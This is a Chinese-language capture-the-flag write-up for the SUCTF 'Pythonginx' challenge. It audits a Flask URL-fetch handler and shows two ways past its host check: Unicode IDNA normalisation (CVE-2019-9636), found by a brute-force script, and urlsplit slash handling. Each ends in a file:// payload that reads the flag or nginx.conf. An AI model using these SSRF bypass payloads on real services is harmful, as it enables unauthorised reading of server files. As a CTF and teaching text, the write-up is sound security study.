这道题主要涉及内容:
CVE-2019-9636:urlsplit不处理NFKC标准化问题
idna编码转码问题
进入主题:
上来就是源码,应该是要进行代码审计工作
进行代码分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| @app.route('/getUrl', methods=['GET', 'POST']) def getUrl(): url = request.args.get("url") host = parse.urlparse(url).hostname if host == 'suctf.cc': return "我扌 your problem? 111" parts = list(urlsplit(url)) host = parts[1] if host == 'suctf.cc': return "我扌 your problem? 222 " + host newhost = [] for h in host.split('.'): newhost.append(h.encode('idna').decode('utf-8')) parts[1] = '.'.join(newhost) finalUrl = urlunsplit(parts).split(' ')[0] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc': return urllib.request.urlopen(finalUrl, timeout=2).read() else: return "我扌 your problem? 333"
|
那么可以分析得出,我们要上传get请求?url=并通过3次判断后进行打开url链接这个行为,然后进行恶意文件读取获取flag
唯一可以利用的点就是这host提取出来后的两次idna编码和utf-8解码
首先,不明白文件的路径,但题目名叫Pythonginx,应该指的是nginx的服务器
nginx 默认编译安装后,配置文件都会保存在 /usr/local/nginx/conf 目录下,在配置文件目录下,Nginx 默认的主配置文件是 nginx.conf,这也是 Nginx 唯一的默认配置入口
这道题有两种解:
第一种:利用idna编码utf-8解码产生的漏洞
先看例子:
1 2 3 4
| a=b'c' print(a) c=a.decode('utf-8') print(c)
|
输出结果为:
造成这个原因是因为python的byte类型,会默认b开头的紧接’我是其他内容
‘这种格式如b'c'
为byte类型,当其进行utf-8解码后便只剩下了单引号里的内容,于是可以借此进行逃逸。
但我们并不知道什么字符进行idna编码后会转化为这种格式,所以要构造对应脚本进行运行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from urllib.parse import urlparse,urlunsplit,urlsplit from urllib import parse
def do(): for i in range(65536): a=chr(i) url="http://suctf.c"+a try: if getUrl(url): print("str:"+a+" is answer!") except: pass
def getUrl(url): url = url host = parse.urlparse(url).hostname if host == 'suctf.cc': return False parts = list(urlsplit(url)) host = parts[1] if host == 'suctf.cc': return False newhost = [] for h in host.split('.'): newhost.append(h.encode('idna').decode('utf-8')) parts[1] = '.'.join(newhost) finalUrl = urlunsplit(parts).split(' ')[0] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc': return True else: return False
if __name__ == '__main__': do()
|
结果如下
那么我们可以构造payload:
得到结果
那么直接构造payload:getUrl?url=file://suctf.cℂ/usr/fffffflag
就可以获取答案
第二种:有关不处理NFKC标准化问题
这个比较特殊,直接上例子:
1 2 3 4 5 6 7 8 9 10 11
| b="file:////suctf.cc/usr/local/nginx/conf/nginx.conf" print(urlsplit(b)) print(urlparse(urlunsplit(urlsplit(b))))
b="file:///suctf.cc/usr/local/nginx/conf/nginx.conf" print(urlsplit(b)) print(urlparse(urlunsplit(urlsplit(b))))
b="http://1/suctf.cc/usr/local/nginx/conf/nginx.conf" print(urlsplit(b)) print(urlparse(urlunsplit(urlsplit(b))))
|
每种结果:
在python里urlsplit方法中,可以看到,在获取scheme的时候,协议的//是会被自动去掉的,而后续的netloc和path的判断分别是依据/为结尾来的,也就是说当我们每进行一次urlsplit,url就会失去两个/,而由于我们构造的url为file:////
形式,所以我们host获取的netloc值第一次为空,第二次为file:////
后面的正常内容,对判断进行了逃逸。
其他操作相同,构造payload如下:file:////suctf.cc/usr/local/nginx/conf/nginx.conf
结果:
相关文章:
python中urlparse的方法
urlparse和urlsplit的的区别